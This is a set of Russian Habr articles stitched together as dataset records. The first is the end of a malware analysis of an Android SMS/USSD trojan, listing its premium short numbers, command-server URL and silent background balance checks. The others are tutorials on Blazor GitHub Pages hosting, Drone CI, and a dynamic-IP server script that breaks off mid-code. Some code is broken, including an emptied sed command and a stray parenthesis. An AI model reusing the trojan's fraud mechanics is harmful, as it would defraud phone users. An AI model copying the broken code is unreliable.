http://mp3-999.com/content
Online
http://oxclick.com
icon
7204,7204,7212
99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030
25501
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
7204,7204,7212
99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030
25505
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
3336
427242015599 041 122 6030
257
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
```
Еще один момент — **все USSD запросы проходят в фоновом режиме**, то есть троян может сколько угодно проверять баланс пользователя, тот ничего не заподозрит. По всей видимости реализация фонового выполнения USSD запросов была скопирована разработчиками трояна с сайта [commandus](http://commandus.com/blog/?p=58). В качестве домашнего задания читателям предлагается понять, почему была скопирована именно реализация с этого сайта и найти подтверждение тому в коде.
#### Заключение
Хотелось бы сказать, что разработка таких приложений является прямым нарушением закона РФ, а именно статей 159 и 273 УК РФ. Теперь у мошенников уже отмазаться не получится, так как средства с баланса снимаются не после нажатия абстрактной кнопки, где пользователь принимает на себя всю ответственность за последствия. Здесь баланс может опустошаться годами и пользователь может вообще ничего не заподозрить.
Мошенники, а таковыми по определению являются и контент-провайдеры номеров (потому что оказывают прямое содействие в получении прибыли незаконным или мошенническим путем) **8503, 7202, 7201, 7204, 7212, 3303, 3336** должны быть уголовно наказаны. Кстати, конкретных провайдеров для этих номеров можно посмотреть, например, на [сайте Мегафона](http://szf.megafon.ru/services/content/uslugi_operatora_s_kontent-prova/) или [Билайна](http://safe.beeline.ru/smc/rec/cpa.wbp?num=3336). Дабы не быть голословным, привожу конкретные названия замешанных контент провайдеров, которым принадлежат данные номера: [ИнкорМедиа ООО](http://www.incoremedia.ru/), [СМС сервисы, ООО (Шутка дня)](http://www.i-free.ru/), [ООО Инвест Телеком](http://investtelecom.ru) и так далее.
Кроме этого, скорее всего какие-то данные о конкретных виновниках можно выцепить из URL, на который уходят запросы из трояна, а именно: [**mxclick.com/getTask.php**](http://mxclick.com/getTask.php). А вообще, заинтересованные читатели могут по возможности сами попробовать найти другие следы мошенников.
Лично я надеюсь, что глубокоуважаемые операторы Мегафон, Билайн, МТС, Теле2 и остальные примут серьезные меры по поводу контент-провайдеров, потому что они не проследили за использованием их номеров, и кто-то наконец докопается до настоящих виновников, которые разрабатывают и распространяют эти трояны и заставит их ответить по всей строгости закона. | https://habr.com/ru/post/161459/ | null | ru | null |
# Хостим WASM-приложения на github pages в два клика
Приветствую. Хочу донести гениальную и простейшую идею о том, как можно делать несложные бессерверные веб-приложения и бесплатно хостить их на [github pages](https://pages.github.com/).
Слово от меняЯ не дословно перевожу, а скорее адаптирую, опуская совсем очевидные вещи, поэтому будет отсебятина.
С помощью Blazor WebAssembly (WASM) мы можем создавать веб-приложения, которые выполняются полностью на стороне клиента. При этом после публикации (`dotnet publish`) мы получаем статические файлы, которые потом просто юзер скачивает себе и выполняет. Благодаря этому, мы можем хостить подобные приложения на статических хостингах, например, github pages.
Создаем hello world на Blazor WASM
----------------------------------
Воспользуемся замечательным [dotnet CLI](https://docs.microsoft.com/en-us/dotnet/core/tools/). Следующая команда
```
dotnet new blazorwasm
```
создает приложение-шаблон с демонстративным функционалом. Чтобы потыкаться локально, запустим
```
dotnet run
```
По умолчанию путь будет `localhost:5000` или `localhost:5001`.
Чтобы посмотреть на то, как выглядят статические файлы, которые мы будем публиковать, запустим команду:
```
dotnet publish
```
Она сгенерит всякого в `bin/Debug/net6.0/publish/wwwroot` (в зависимости от таргет рантайма и конфигурации). Теоретически можно попробовать index.html у себя, но нужно будет поменять там путь (либо закинуть это все содержимое wwwroot к себе в корень).
Перейдем к следующей секции предполагая, что читатель закинул проект в репозиторий на гитхабе.
Как закинуть проект на гитхаб?После того, как мы создали репозиторий на самом гитхабе, приступим к тому, чтобы в него залить наш проект.
Инициализируем репозиторий следующим набором команд
```
# gitignore для .NET приложений (например, игнорирует obj и bin)
dotnet new gitignore
# инициализация репозитория
git init
# добавляем все файлы из директории (кроме игнорированных)
git add --all
# коммитим
git commit -m "Initial commit"
```
Теперь, чтобы запушить, нужно привязать наш удаленный репозиторий:
```
git remote add origin https://github.com/ВашеИмя/ВашРепозиторий
git push -u origin main
```
Все, проверяйте ваш репозиторий на гитхабе. На нем должно быть все самое важное из вашего кода в ветке main (если вы не переименовали основную ветку).
Создаем CI для установки приложения на github pages
---------------------------------------------------
Чтобы создать автоматическое обновление нашего веб-приложения, воспользуемся встроенным в гитхаб [Github Actions](https://github.com/features/actions):
Теперь можно писать сам workflow, по котому будет происходить магия. Это формат YAML:
```
name: Deploy to GitHub Pages
# Запускаем магию только на пуши в main
on:
push:
branches: main
jobs:
deploy-to-github-pages:
runs-on: ubuntu-latest
steps:
# клонируем репозиторий на виртуальную машину
- uses: actions/checkout@v2
# ставим нужный SDK (можно использовать и более старые)
- name: Setup .NET 6
uses: actions/setup-dotnet@v1
with:
dotnet-version: '6.0.x'
include-prerelease: true
# генерируем статические файлы
- name: Publish .NET Core Project
run: dotnet publish BlazorGitHubPagesDemo.csproj -c Release --output release --nologo
```
(`--nologo` убирает ненужные логи в консоли)
Теперь то, что сгенерировалось в release, нужно закинуть в бранч gh-pages. Для этого можно использовать существующий Action, добавив в steps:
```
- name: Uploading files to gh-pages branch
uses: JamesIves/github-pages-deploy-action@4.1.4
with:
branch: gh-pages
folder: release/wwwroot
```
Здесь, наверное, все интуитивно. Все, наш файл вроде бы готов. После того, как мы его закоммитим в репозиторий, у нас должна появиться ветка, и, вместе с ней, сайт (по адресу `yourusername.github.io/YourRepo`).
Так выглядит ваш репозиторий, если все нормальноКстати, настройки Github Pages живут в Settings -> Pages в репозитории.
Не работает!
------------
Еще пару небольших моментов пофиксить, ведь если до этого момента все было удачно, то сейчас при открытии сайта мы получаем
Смотрим ошибки и видим, что не нашлась куча файлов
Как видим, у нас кто-то украл часть пути (должно было быть `swimburger.github.io/BlazorGitHubPagesDemo/css/app.css` и остальные). Это из-за того, что у нас есть `/` в index.html, который генерируется. Автор оригинала предлагает использовать следующий ~~костыль~~ трюк:
```
# меняем '/' на '/BlazorGitHubPagesDemo/'
- name: Change base-tag in index.html from / to BlazorGitHubPagesDemo
run: sed -i 's///g' release/wwwroot/index.html
```
(заменив BlazorGitHubPagesDemo на имя вашей репы)
После обновления, получаем
все еще часть файлов не найдена. Это потому, что Github Pages проигнорировал папку, которая начинается с \_, потому что думает, что это jekyll. А значит его надо отключить:
```
# отключаем jekyll
- name: Add .nojekyll file
run: touch release/wwwroot/.nojekyll
```
Все, теперь все точно должно заработать.
Кастомная страница 404
----------------------
Можно создать собственную страницу для ошибки 404. Для этого мы просто скопируем index.html в 404.html:
```
# копируем index.html в 404.html
- name: copy index.html to 404.html
run: cp release/wwwroot/index.html release/wwwroot/404.html
```
(идея предложена [здесь](https://github.com/Swimburger/BlazorGitHubPagesDemo/issues/1))
Заключение
----------
Мы захостили функциональное веб-приложение на статическом хостинге Github pages, что может быть удобно для каких-то маленьких утилит или игр, а также сайтов всяких опенсорсных проектов.
[Ссылка на гитхаб](https://github.com/Swimburger/BlazorGitHubPagesDemo) демки из статьи.
Спасибо за внимание!
От переводчика
--------------
Эту статью я писал уже попробовав эту штуку сам, опустив ненужные моменты и учитывая современные инструменты до какой-то степени.
Чтобы не быть голословным, я сам сделал [небольшую приложеньку](https://github.com/WhiteBlackGoose/TypeInfo) (сам [адрес](https://whiteblackgoose.github.io/TypeInfo/)), которая анализирует типы из BCL с помощью рефлексии. Вот [здесь](https://github.com/WhiteBlackGoose/TypeInfo/blob/main/.github/workflows/deployment.yml) мой deployment, который как раз делает магию. Если шестой дотнет не хочется ставить, можно сделать все так же, но с пятым. | https://habr.com/ru/post/566286/ | null | ru | null |
# Непрерывная интеграция с помощью Drone CI, Docker и Ansible
Можете представить, что Вам больше никогда не придется устанавливать зависимости и настраивать конфигурации вручную на вашем сервере непрерывной интеграции? А вы верите в то, что каждый шаг вашего билда может быть по-настоящему изолированным и работать исключительно в Docker контейнерах? В конце концов, хотели бы вы попробовать инструмент, который входит в [топ 20](https://github.com/search?utf8=%E2%9C%93&q=language%3AGo+stars%3A%3E9003&type=Repositories&ref=searchresults) всех открытых проектов, написанных на Golang, и имеет 9k+ звездочек на Github?
В этой статье мы хотели бы рассказать о великолепном Drone CI, который уже помог нам упростить и сделать лучше нашу непрерывную интеграцию. Мы поделимся деталями установки Drone CI и покажем на примере небольшого проекта все детали использования. Если вы не любите много читать и хотите сразу попробовать, в конце статьи есть ссылки на Github репозитории, которые помогут с быстрым стартом.
Перед тем как перейти к основной теме, я хотел бы поблагодарить наших читателей за большое количество добрых отзывов о статье о [docker-compose](https://blog.maqpie.com/2017/02/22/fully-automated-development-environment-with-docker-compose/) и, конечно же, [Brad Rydzewski](https://github.com/bradrydzewski), автора Drone CI, без которого этой статьи не было бы. Это огромная мотивация для нас писать дальше!
### Немного истории
Если вы уже знакомы с термином "Continuous Integration" (CI) и хотели бы узнать побольше — начните с [замечательной статьи](https://martinfowler.com/articles/continuousIntegration.html) от [Martin Fowler](https://martinfowler.com/). Непрерывная интеграция уже давно стала для нас чем-то привычным, тем, что помогает нам выявлять неполадки и обеспечивает полную автоматизацию процесса развертывания приложения, сохраняя при этом огромное количество времени для всей команды.
Я использую CI серверы на протяжении уже 7 лет и, как многие из нас, начинал с [Jenkins](https://jenkins.io/), позже [TeamCity](https://www.jetbrains.com/teamcity/), а затем влюбился в [Travis CI](https://travis-ci.org/). Каждый из этих продуктов сделал очень многое для развития практики непрерывной интеграции. Одна из идей, которая заставляет меня менять инструменты время от времени — это возможность полной автоматизации любых процессов. У Jenkins и TeamCity очень развитый пользовательский интерфейс, позволяющий настроить непрерывную интеграцию для любого проекта, но это достаточно сложно поддается автоматизации. Travis — очень хороший иструмент и по-прежнему остается вариантом номер 1 для всех моих open-source начинаний, так как *"Testing your open source project is 10000% free"*. Travis был первым инструментом, который позволял настроить непрерывную интеграцию с помощью одного файла `.travis.yml`.
### Pipeline as a code
*"Pipeline as a code"* — это относительно новый подход, позволяющий настроить 'deployment pipeline' с помощью кода вместо ручной настройки запущенного CI сервиса. На сегодняшний день эта концепция очень популярна, и мне известно как минимум пять игроков в этом сегменте: [LambdaCD](http://www.lambda.cd/), [Concourse](https://concourse.ci/), [Drone](https://github.com/drone/drone), [GoCD](https://www.gocd.io/) и [Travis CI](https://travis-ci.org/). Этот подход позволяет не только проще автоматизировать непрерывную интеграцию и непрерывное развертывание, но также позволяет тестировать инфраструктуру для развертывания. Эта концепция заставила взглянуть на мир по-другому, но самое главное — это то, что она действительно позволяет использовать CI более эффективно и изящно.
### Как мы непрерывно интегрируем
На сегодняшний день у нас в команде работает 6 человек, и наш подход к непрерывной интеграции и развертывания достаточно прост. Мы активно используем Github, [Pull Requests](https://help.github.com/articles/about-pull-requests/), [Code Review](https://github.com/blog/2291-introducing-review-requests). Если вы хотите глубже познакомиться с *"Continuous Delivery"* — обратите внимание на книгу "[Continuous Delivery: Reliable Software Releases through Build, Test, and Deployment Automation](https://www.amazon.com/gp/product/0321601912?ie=UTF8&tag=martinfowlerc-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=0321601912)" от авторов Jez Humble и David Farley.
Основные шаги нашей непрерывной интеграции и непрерывного развертывания:
1. Каждый член команды работает в отдельной ветке и создает Pull Request, как только задача сделана.
2. Каждый коммит в Pull Request проверяется нашим CI сервером. Запускаются юнит, интеграционные, UI тесты и линтинг. Статус запуска отображается в Github: 
3. Каждый Pull Request обязательно просматривается двумя членами команды. Один из них запускает код локально и проверяет все изменения в пользовательском интерфейсе. Если запуск тестов был успешен и ревью пройдено — код мержится в основную бранчу (master) и начинается процесс автоматического развертывания на pre-production среду.
4. Развертывание состоит из двух шагов. Первым делом мы публикуем все наши Docker контейнеры на DockerHub, а затем запускаем небольшой Ansible скрипт, который разворачивает приложение на наших серверах.
5. После небольшого ручного тестирования, все изменения подливаются в ветку "production", и запускается процесс автоматического развертывания уже в "production" среду.
Процесс имеет несколько недостатков и потребует некоторых изменений, когда наша команда станет больше. Но на сегодняшний день он нас полностью устраивает и, на наш взгляд, идеально подходит для небольших команд до 10 человек. К основным недостаткам можно отнести:
1. Несмотря на большое количество тестов, некоторые изменения, попадающие в master, содержат дефекты. Это блокирует развертывание других Pull Requests до устранения дефектов.
2. Когда наша master ветка находится не в "production ready" состоянии приходится отклоняться от процесса и исправлять проблемы, возникшие у наших клиентов прямо в "production" ветке, что добавляет необходимость обратного переноса этих изменений в master ветку.
3. У нас не полностью отработан процесc отката изменений, если что-то пошло не так. Состоит он в откате ветки "production" в состояние до развертывания. Если требуются изменения в базе данных — они на данном этапе проводятся вручную.
Устранением этих недостатков мы займемся по мере роста нашей команды. На сегодняшний день мы уже можем почти безболезненно разворачивать наш проект несколько раз в день. Мы еще не разворачиваем приложение как [Github](https://github.com/blog/1241-deploying-at-github), но первые шаги уже сделаны :)
Drone CI
--------
После сравнения различных инструментов наш выбор пал на Drone CI и за последние три месяца мы полностью перешли на него. Drone CI имеет 9003 звездочек на Github (15 марта, 2017). Drone CI входит в top [20](https://github.com/search?utf8=%E2%9C%93&q=language%3AGo+stars%3A%3E8857&type=Repositories&ref=searchresults) приложений написанных на Go на Github. [Канал](https://gitter.im/drone/drone) в Gitter никогда не спит — там можно получить ответы на любые вопросы.
### Установка
Drone CI представляет собой один Docker контейнер размером в [8 мегабайт](https://hub.docker.com/r/drone/drone/tags/). Этот контейнер содержит два сервиса:
1. Drone UI — простой пользовательский интерфейс и сервер, который координирует работу агентов и отображает статусы сборки.
2. Drone Agent — другой сервис, в котором и запускается сборка ваших проектов.
Все данные о прошедших и текущих билдах сохраняются в базу данных. По умолчанию используется [Sqlite](https://www.sqlite.org/), но есть возможность использовать другие реляционные базы данных, такие как PostgreSQL и MySQL. Специально для этой статьи, мы подготовили [Github репозиторий](https://github.com/maqpie/deploy-drone), который поможет вам установить Drone CI на локальном окружении или на вашем production окружении всего за несколько минут.
### Начало работы
Для начала хотелось бы вкратце познакомить вас с принципом работы Drone CI. После того как вы установили и залогинились в Drone CI с помощью Вашего Github аккаунта, Drone автоматически отображает все ваши репозитории. Первым шагом Вам нужно включить репозитории, для которых вы хотите настроить непрерывную интеграцию:
На этом работа с пользовательским интерфейсом практически закончена. Дальше он будет нужен только для того, чтобы смотреть состояние ваших билдов.
Вся настройка шагов развертывания осуществляется в одном файле: `drone.yml`. Этот файл обычно находится в корне вашего репозитория и полностью описывает все, что происходит у вас на CI сервере. По сути, `.drone.yml` представляет собой произвольный набор шагов, каждый из которых запускается в отдельном, изолированном Docker контейнере. При каждом коммите, перед запуском шагов из `.drone.yml`, Drone автоматически клонирует наш репозиторий и добавляется его как Docker volume для каждого шага.
Чтобы стало понятней, давайте посмотрим на простую конфигурацию, которая запускает тесты, собирает образ докера, публикует его на Dockerhub и отправляет простую нотификацию в Slack, когда сборка закончена.
```
pipeline:
run-tests:
image: node:6.3.0
commands:
- cd ./api && npm i --quiet
- npm test
publish-api-docker:
image: plugins/docker:1.12
username: ${DOCKER_USERNAME}
password: ${DOCKER_PASSWORD}
email: ${DOCKER_EMAIL}
repo: anorsich/ds-api
tags:
- latest
dockerfile: ./api/Dockerfile
context: ./api/
slack-notification:
image: plugins/slack
webhook: https://hooks.slack.com/services/...
username: drone-ci
channel: andrew
icon_emoji: ":rocket:"
```
Это все! Теперь при каждом коммите в репозиторий у вас будут запускаться тесты, собираться контейнеры и приходить нотификация в Slack.
### Сторонние зависимости и изоляция шагов сборки
Каждый шаг в Drone выполняется в отдельном Docker контейнере, что позволяет вам не беспокоиться об установке и обновлении зависимостей на агентах сервера. Важным отличием является и то, что зависимости для каждого шага могут быть совершенно разными. В одном шаге вы можете запустить тесты для Node.JS, а уже в следующем спокойно запускать сборку приложения написанного на Go. Переход на новые версии платформ осуществляется одним лишь изменением версии контейнера. Например, мы легко можем добавить новый шаг, который запустит тесты и сборку проекта на последней версии Node.JS:
```
run-tests-on-latest-node:
image: node:7.7
commands:
- cd ./api && npm i --quiet
- npm test
```
По сути, настраивать ваш CI сервер нужно лишь в одном случае — если вышла новая версия самого CI сервера. Все остальное настраивается прямо в репозитории в `.drone.yml`, без единого клика. Установил — и забыл :)
Важно отметить, что каждый шаг абсолютно изолирован от других, так как выполняется в отдельном контейнере. Больше никаких конфликтов версий!
Еще одна возможность, которую мы пока не используем, но хотелось бы упомянуть, — это поддержка [матричных сборок](http://readme.drone.io/0.5/usage/build-matrix/), которая позволяет сразу тестировать ваш код на различных версиях платформ, баз данных и так далее.
### Запуск по условию
Иногда есть необходимость запускать шаг в вашем билде только при определенных условиях. По умолчанию все шаги запускаются последовательно и, если один из шагов сломался, последующие не запускаются. Основные ограничения, которые мы используем это:
1. Названию бранчи (master, production)
2. Статус билда (success, failure)
3. Событие Github (pull\_request, push, tag, deployment)
Например мы хотим отправлять нотификацию в Slack когда билд выполнился успешно и когда сломался. Для этого мы используем секцию `when` и добавляем `status`:
```
slack-notification:
image: plugins/slack
...
when:
status: [ success, failure ]
event: [ push, tag, deployment, pull_request ]
```
Более подробно с ограничениями можно познакомится [здесь](http://readme.drone.io/0.5/usage/conditional-build-steps/).
Еще одна интересная особенность, которую стоит упомянуть, — это возможность не запускать билд, добавив в сообщения коммита: `[ci skip]`.
### Плагины
Плагины — это подход Drone CI для интеграции со сторонними сервисами, такими как Amazon S3, Dockerhub, Slack. Полный список всех плагинов можно найти [здесь](http://plugins.drone.io/). Каждый плагин представляет из себя отдельный Docker контейнер, который выполняет заранее определенную задачу. В нашем примере выше мы использовали два плагина:
1. Docker плагин (`plugins/docker`) — для сборки и публикации образа Docker на Dockerhub.
2. Slack плагин (`plugins/slack`) — для отправления уведомления в Slack.
На сегодняшний день плагины решают большинство типичных задач, но не все. Для запуска любой специфической для вашего проекта задачи Вам достаточно обернуть эту задачу в образ Docker — и Вы можете начать использовать ее в Drone CI. Вам доступны любые языки программирования, которые можно запустить в Docker. Непрерывную интеграцию для ваших специальных шагов можно организовать опять же с помощью Drone.
### Консольная утилита
[Консольная утилита Drone](http://readme.drone.io/0.5/install/cli/) позволяет общаться с удаленным сервером и выполнять различные административные задачи. После установки вам нужно подключиться к вашему удаленному серверу. Для этого в терминале нужно экспортировать две переменные:
1. `export DRONE_SERVER=http://MY_DRONE_URL` — URL вашего Drone сервера.
2. `export DRONE_TOKEN=` — персональный токен, который создается после того, как вы авторизовались в Drone UI. Вы можете найти его на следующей странице: `https://MY_DRONE_URL/account`. Просто нажмите `SHOW TOKEN` и скопируйте.
Теперь консольная утилита должна быть настроена.
### Секреты
У Drone есть очень удобные инструменты для безопасной работы с приватной информацией, такой как пароли и ssh ключи (одним словом — секреты). В примере выше мы использовали Docker плагин для публикации образа Docker на Dockerhub, которому нужен ваш пароль и имя пользователя.
В [Github репозитории](https://github.com/maqpie/drone-starter) с примером организации непрерывной интеграции для Node.JS приложений с помощью Drone мы также используем [Ansible](https://www.ansible.com/). С его помощью мы запускаем Docker контейнеры на удаленном сервере. Для общения с удаленным сервером требуется отдельный ключ. Как известно, хранить секретную информацию в Github репозитории считается плохой практикой, которая может быть использована хакерами для компрометации вашего приложения. В Drone CI эта проблема решена.
Для начала, давайте разберемся как мы можем добавить пароль и имя пользователя для Dockerhub (используется плагином `plugins/docker`):
```
drone global secret add DOCKER_USERNAME andrew
drone global secret add DOCKER_PASSWORD password
drone global secret add DOCKER_EMAIL email
```
Вы можете добавлять секреты только к конкретному репозиторию или для всех репозиториев в рамках вашего Drone CI с использование `global`. Если Вы хотите добавить секрет только для определенного репозитория, Вам нужно указать его имя и не использовать `global`:
```
drone secret add maqpie/drone-starter DOCKER_USERNAME andrew
```
Как только ваши секреты добавлены, вы можете использовать их с помощью простого синтаксиса `${DOCKER_USERNAME}` прямо в `.drone.yml`. Вот небольшой пример:
```
publish-api-docker:
image: plugins/docker:1.12
username: ${DOCKER_USERNAME}
password: ${DOCKER_PASSWORD}
email: ${DOCKER_EMAIL}
```
Как упоминалось ранее, нам также необходим ssh ключ для работы с удаленным сервером. Ключ можно добавить следующим образом:
```
drone global secret add SSH_KEY @/Users/andrew/.ssh/id_rsa-drone-demo
```
### Защита и подпись секретов
Чтобы защитить ваши секреты, Drone использует простой механизм подписи вашего `.drone.yml`. При каждом изменении в `.drone.yml`, Вам нужно его переподписать. Drone проверяет подпись каждый раз перед запуском билдов. Если подпись не совпадает, секреты не будут публиковаться и не будут доступны.
Для подписи используется ваш личный авторизационный ключ, который вы добавили при настройке консольной утилиты drone:
```
drone sign maqpie/drone-starter
```
При подписи нужно указать имя репозитория, в котором находится `.drone.yml`. В результате этой команды должен появиться файл `.drone.yml.sig`, который должен комититься в репозиторий.
Важно: Перед тем как подписывать ваш `.drone.yml` для вашего репозитория, убедитесь, что этот репозиторий включен в Drone UI — иначе файл подписи не будет создан.
Несмотря на хороший механизм защиты секретов в Drone, у хакеров все же остается несколько возможностей получить к ним доступ. Например, если Вы используете баш скрипт в каком-то из шагов, хакер может использовать `curl` либо другой инструмент, чтобы получить доступ к вашему паролю или ssh ключу. Всегда применяйте общие принципы безопасности.
### Сервисы
Сервисы в Drone UI позволяют запустить любой контейнер во время выполнения вашего билд процесса. Все сервисы находятся в одной подсети с контейнерами билд процесса. Такая возможность может быть очень полезной для различных типов интеграционного тестирования. Сервисы обычно объявляются в конце `.drone.yml`. Пример запуска базы данных MySQL выглядит следующим образом:
```
services:
database:
image: mysql
environment:
- MYSQL_DATABASE=test
- MYSQL_ALLOW_EMPTY_PASSWORD=yes
```
На текущем этапе мы не используем сервисы, вместо этого мы используем более простой для нас подход с использованием docker-compose.
### Запуск тестов с помощью docker-compose
В нашем предыдущей [статье](https://blog.maqpie.com/2017/02/22/fully-automated-development-environment-with-docker-compose/) мы поделились нашей любовью к [docker-compose](https://docs.docker.com/compose/). Хотелось бы немного остановиться на том, как мы запускаем наши тесты в Drone CI. Шаг в `.drone.yml` выглядит вот так:
```
run-tests-in-compose:
image: michalpodeszwa/docker-compose:latest
volumes:
- /var/run/docker.sock:/var/run/docker.sock
commands:
- ./bin/drone-run-tests.sh api-tests
- ./bin/drone-run-tests.sh web-tests
when:
event: [pull_request]
```
`/bin/drone-run-tests.sh` запускает тесты с помощью небольшой обертки над docker-compose. Перед тем как углубиться в наш подход, хотел бы рассказать о компромиссах, на которые мы пошли. В первую очередь, мы отказались от изоляции контейнера вот в этой строчке:
```
volumes:
- /var/run/docker.sock:/var/run/docker.sock
```
Если вкратце, то эта строчка фактически дает возможность этому контейнеру запустить любую команду, которую может запустить сервис docker, что позволяет запустить любую команду на хосте, так как docker сервис запускается под `root` пользователем. Более подробно со всеми последствиями Вы можете ознакомиться в [этой](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/) статье. Такой способ однозначно не подходит для общих репозиториев.
Почему же мы пошли на такой риск? Есть несколько причин:
1. У нас закрытый проект, которым занимается одна команда.
2. Наш Drone CI запущен на отдельном сервере, и даже, если кто-то захочет его сломать, воспользовавшись отсутствием изоляции, — мы ничего не потеряем. На поднятие нового Drone CI у нас уйдет не более 5 минут с учетом обновления DNS.
3. Самой главной причиной является то, что мы хотели эффективно использовать Docker кэш. Мы делаем около 20-100 коммитов в репозиторий каждый день, и каждый из них запускает наши тесты. Если бы мы не использовали Docker кэш, при каждом коммите контейнеры бы перестраивались заново, что занимает достаточно много времени.
Теперь, когда вы знаете о минусах в нашем подходе, давайте разберем сам подход. По сути, для запуска тестов мы просто используем `docker-compose up --file docker-compose.drone-tests.yml`. Таким же образом тесты запускаются и на рабочих окружениях. Единственная проблема, с которой мы столкнулись, запуская тесты через docker-compose, это то, что код выхода всегда у docker-compose был 0. Drone, как и любой другой CI, в таком случае считает, что билд был успешным и переходит к следующему шагу. Чтобы исправить эту ситуацию, мы написали небольшой скрипт, который анализирует коды выхода контейнеров после запуска тестов и, если хотя бы один из контейнеров вышел с ненулевым кодом, использует этот код для выхода. Содержимое скрипта `/bin/drone-run-tests.sh`, который вы видели выше, в шаге запуска тестов, выглядит следующим образом:
```
#!/bin/sh
# remove old containers
docker-compose --file docker-compose.drone-tests.yml rm -f
# run tests
docker-compose --file docker-compose.drone-tests.yml up --build
echo "Inspecting exited containers:"
docker-compose --file docker-compose.drone-tests.yml ps
docker-compose --file docker-compose.drone-tests.yml ps -q | xargs docker inspect -f '{{ .State.ExitCode }}' | while read code; do
if [ "$code" != "0" ]; then
exit $code
fi
done
```
### Ссылки и подсказки
Как и в любом инструменте, в Drone CI есть некоторые вещи, которые находятся в разработке и не всегда работают так, как хотелось бы. К счастью, их оказалось всего несколько:
1. Drone UI замерзает, если процесс вашего билда выводит слишком много информации. Во всех наших Docker файлах для Node.JS нам пришлось добавить `--quiet` при запуске `npm install` — стало выводиться меньше бесполезной информации. Не совсем понимаю, почему в npm эта опция не используется по умолчанию.
2. Есть две версии Drone 0.4 и 0.5. Последняя сейчас находится в активной разработке, но достаточно стабильна (у нас не возникло проблем за 2 месяца) Различий с 0.4 очень много. При поиске различных ответов мы часто находили старые ответы, которые уже не актуальны.
3. Документация для версии 0.5 находится по следующему адресу: [<http://readme.drone.io/0.5/>](http://readme.drone.io/0.5/). Документация, пожалуй, самая слабая сторона Drone на текущий момент. От себя могу сказать, что [первая версия](https://webpack.github.io/docs/usage.html) (почитайте комментарии внизу) документации Webpack тоже была не самой лучшей, но это никак не помешало ему стать стандартом для большинства веб-проектов.
Если у нас получилось убедить Вас попробовать Drone, ниже Вы можете найти список ссылок, которые могут быть полезными:
1. [Drone github](https://github.com/drone/drone)
2. [Drone plugins github](https://github.com/drone-plugins)
3. [Drone 0.5 documentation](http://readme.drone.io/0.5/)
4. [Drone gitter](https://gitter.im/drone/drone)
5. [Drone 0.4 documentation](http://readme.drone.io/) — некоторые части из этой документации еще полностью не перенесены в версию 0.5.
Заключение
----------
Drone CI — это современное решение проблем непрерывной интеграции. Используя Drone, Вы больше никогда не будете настраивать ваши сервера, получите полностью изолированную среду для запуска ваших билдов и сможете масштабировать ваш CI сервер до бесконечности. За два месяца работы мы полностью в него влюбились.
Чтобы помочь Вам начать использовать Drone CI, мы подготовили два Github репозитория:
1. [Deploy Drone](https://github.com/maqpie/deploy-drone) — упрощает процесс установки Drone CI для рабочих и production окружений.
2. [Drone Starter](https://github.com/maqpie/drone-starter) — непрерывная интеграция с помощью Drone CI, Ansible, Docker на примере простого трехсервисного Node.js приложения.
Делитесь Вашим опытом и [задавайте вопросы](https://github.com/maqpie/drone-starter/issues/new)!
И да, если статья понравилась вам хотя бы на 51%, или не понравилась всего на 49% — не стесняйтесь поставить нам звездочку на Github :)
Надеемся, что статья была полезной и поможет сделать Ваш продукт лучше!
Версию на английском, можно почитать [здесь](https://blog.maqpie.com/2017/03/21/build-and-deploy-applications-using-drone-ci-docker-and-ansible/). | https://habr.com/ru/post/324588/ | null | ru | null |
# Запуск домашнего веб-сервера без статического IP с помощью Python
Приветствую жителей Хабра!
Задался тут вопросом, как можно обойтись без статического IP для экспериментов в домашних условиях. Наткнулся на вот эту статью.
Если вы хотите развернуть свой вебсервер с доступом извне, а платить провайдеру за статический IP не хотите, то данное решение вполне себе выход, которое можно в дальнейшем подогнать под свои нужды.
---
Недавно я решил установить веб-сервер на Rasberry Pi, работающий за моим домашним маршрутизатором. У меня есть опыт настройки веб-серверов на виртуальных машинах Linux со статическими IP-адресами, поэтому в настройке сервера apache2 на Pi нет ничего особенного, и в Интернете есть сотни руководств. Проблема только в том, что при изменении внешнего IP вашего роутера сайт сломается! Один из способов решить эту проблему — заплатить своему интернет-провайдеру за статический IP-адрес… но тогда в чём веселье?!
Во многих своих последних проектах я использовал Google Domains для покупки доменного имени и обычно запускал сайты без собственных гугловских серверов имен на отдельном VPS/«облачном сервере». Но для моего домашнего сервера я решил использовать невероятно простую в настройке функцию переадресации IP-адресов поддоменов, чтобы перенаправить базовый домен (@.example.com) на IP-адрес моего маршрутизатора (а затем настроить мой маршрутизатор на перенаправление с http портов на https порты на Pi). Тогда мне пришлось бы вручную проверять, работает ли сайт, и менять IP при необходимости. Очевидно, это не идеальный план, поэтому я решил написать скрипт для автоматизации этого процесса.
> На заметку, вы можете найти полный скрипт [на гитхабе](https://github.com/nihilok/domains-api) или импортировать [пакет Python](http://pypi.org/project/domains-api) с помощью `pip install domains-api`
Есть много способов проверить ваш внешний IP-адрес, и один из самых простых, которые я нашел, был через [ipify](http://ipify.org/) API (api.ipify.org), который просто возвращает ваш общедоступный IP-адрес. При использовании Python библиотеки requests запрос выглядит следующим образом:
```
IP = requests.get('https://api.ipify.org').text
```
Вот и все, это ваш внешний IP. Легко, правда? Есть много других подобных способов получить внешний IP-адрес, но я считаю, что это самый простой.
Итак, что еще нам нужно для нашего скрипта? Нам нужно где-то хранить IP-адрес, чтобы проверять будущие запросы. Изначально я решил сохранить его в простом текстовом файле. Нам также нужен способ либо уведомить пользователя, либо обновить domain.google.com, либо и то, и другое. Первый вариант довольно легко реализовать с помощью библиотеки электронной почты для Python, поэтому я настроил её для работы с моей учетной записью Gmail следующим образом (вам нужно будет разрешить менее безопасные приложения ([less secure apps](https://support.google.com/accounts/answer/6010255?hl=en)) в своей учетной записи Google):
```
from email.message import EmailMessage
def send_notification(new_ip):
msg = EmailMessage()
msg.set_content(f'IP has changed!\nNew IP: {new_ip}')
msg['Subject'] = 'IP CHANGED!'
msg['From'] = GMAIL_USER
msg['To'] = GMAIL_USER
try:
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
server.login(GMAIL_USER, GMAIL_PASSWORD)
server.send_message(msg)
server.close()
log_msg = 'Email notification sent to %s' % GMAIL_USER)
logging.info(log_msg)
except (MessageError, ConnectionError) as e:
log_msg = 'Something went wrong: %s' % e
